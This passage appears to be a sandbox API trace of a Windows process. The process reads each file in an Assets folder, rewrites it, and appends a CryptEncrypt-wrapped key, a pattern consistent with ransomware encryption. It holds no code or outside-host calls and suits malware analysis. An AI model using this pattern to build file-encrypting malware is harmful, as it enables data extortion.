(in: hFile=0x1830, lpBuffer=0x342e110*, nNumberOfBytesToWrite=0x780ea, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342e110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x780ea, lpOverlapped=0x0) returned 1 [0172.537] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x780ea [0172.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.538] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.538] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.538] CloseHandle (hObject=0x1830) returned 1 [0172.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.540] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.540] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae", dwFileAttributes=0x80) returned 1 [0172.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.540] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5178 [0172.540] ReadFile (in: hFile=0x1830, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x2f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f3, lpOverlapped=0x0) returned 1 [0172.610] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-755, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.610] WriteFile (in: hFile=0x1830, lpBuffer=0x2f74cc0*, nNumberOfBytesToWrite=0x2f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f3, lpOverlapped=0x0) returned 1 [0172.610] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f3 [0172.610] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.610] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.611] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.612] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.612] CloseHandle (hObject=0x1830) returned 1 [0172.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0172.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674", dwFileAttributes=0x80) returned 1 [0172.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e8058 [0172.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0172.616] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x48aad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x48aad, lpOverlapped=0x0) returned 1 [0172.757] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-297645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.757] WriteFile (in: hFile=0x1830, lpBuffer=0x33fead0*, nNumberOfBytesToWrite=0x48aad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33fead0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48aad, lpOverlapped=0x0) returned 1 [0172.762] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48aad [0172.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.763] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.763] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.763] CloseHandle (hObject=0x1830) returned 1 [0172.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0172.765] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0f7bdecdd8effd2ad7ef6c564929cf20e8f2d03ac1c05a9c48a1e218820f640f", dwFileAttributes=0x80) returned 1 [0172.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5178 [0172.766] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0172.796] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.796] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51b8*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4187, lpOverlapped=0x0) returned 1 [0172.797] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4187 [0172.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.797] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.798] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.798] CloseHandle (hObject=0x1830) returned 1 [0172.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0172.806] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e7f22a57323414971b3cc9875eeeb61f67a2001f05a7cfb1429600bb0e9215d", dwFileAttributes=0x80) returned 1 [0172.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7c20 [0172.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0172.810] ReadFile (in: hFile=0x1830, lpBuffer=0x555b90, nNumberOfBytesToRead=0x319, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x319, lpOverlapped=0x0) returned 1 [0172.830] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.830] WriteFile (in: hFile=0x1830, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x319, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x319, lpOverlapped=0x0) returned 1 [0172.831] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x319 [0172.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.831] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.831] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.832] CloseHandle (hObject=0x1830) returned 1 [0172.833] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.833] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0172.833] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0e35fc804cbae159047a0d81e392d3d398018f29dfeab84cb374498f6cec6173", dwFileAttributes=0x80) returned 1 [0172.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0172.835] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x6244d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x6244d, lpOverlapped=0x0) returned 1 [0172.900] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-402509, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.900] WriteFile (in: hFile=0x1830, lpBuffer=0x3418470*, nNumberOfBytesToWrite=0x6244d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3418470*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6244d, lpOverlapped=0x0) returned 1 [0172.906] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6244d [0172.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.907] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.907] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.907] CloseHandle (hObject=0x1830) returned 1 [0172.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0172.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.910] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\099799d4873c12098de4d2549b4b2b8cdced48fedc8d1d17443593d9fc7f0203", dwFileAttributes=0x80) returned 1 [0172.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e85f8 [0172.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4b00 [0172.913] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x75b5c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x75b5c, lpOverlapped=0x0) returned 1 [0172.957] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-482140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.957] WriteFile (in: hFile=0x1830, lpBuffer=0x342bb80*, nNumberOfBytesToWrite=0x75b5c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342bb80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x75b5c, lpOverlapped=0x0) returned 1 [0172.964] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x75b5c [0172.964] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.964] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.966] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.966] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.966] CloseHandle (hObject=0x1830) returned 1 [0172.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.968] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\093749a9afa787d6698b32a8f2be84497248372c8fdaaad018156efde9b7e8d0", dwFileAttributes=0x80) returned 1 [0172.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5178 [0172.974] ReadFile (in: hFile=0x1830, lpBuffer=0x3525020, nNumberOfBytesToRead=0x176831, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3525020*, lpNumberOfBytesRead=0x2e1f9bc*=0x176831, lpOverlapped=0x0) returned 1 [0173.087] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1534001, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.087] WriteFile (in: hFile=0x1830, lpBuffer=0x36ac020*, nNumberOfBytesToWrite=0x176831, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36ac020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x176831, lpOverlapped=0x0) returned 1 [0173.125] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x176831 [0173.125] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.126] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.127] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.127] CloseHandle (hObject=0x1830) returned 1 [0173.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0173.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0173.129] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\06a8bff69bb230899a8ae51e86b9db0082d5f76a15d1b63aad42a26bfde8d037", dwFileAttributes=0x80) returned 1 [0173.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7950 [0173.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0173.130] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x16b10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x16b10, lpOverlapped=0x0) returned 1 [0173.142] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-92944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.142] WriteFile (in: hFile=0x1830, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x16b10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16b10, lpOverlapped=0x0) returned 1 [0173.142] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16b10 [0173.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.143] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.143] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.143] CloseHandle (hObject=0x1830) returned 1 [0173.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0173.149] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0173.149] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\0150965e1ace000139d39799567eacbb327039e75b0bb31114626f33c2fb3c77", dwFileAttributes=0x80) returned 1 [0173.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0173.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4f50 [0173.149] ReadFile (in: hFile=0x1830, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x323, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x323, lpOverlapped=0x0) returned 1 [0173.170] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.170] WriteFile (in: hFile=0x1830, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x323, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x323, lpOverlapped=0x0) returned 1 [0173.170] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x323 [0173.170] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0173.170] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0173.171] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0173.171] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0173.171] CloseHandle (hObject=0x1830) returned 1 [0173.174] WriteFile (in: hFile=0x1834, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0173.220] CloseHandle (hObject=0x1834) returned 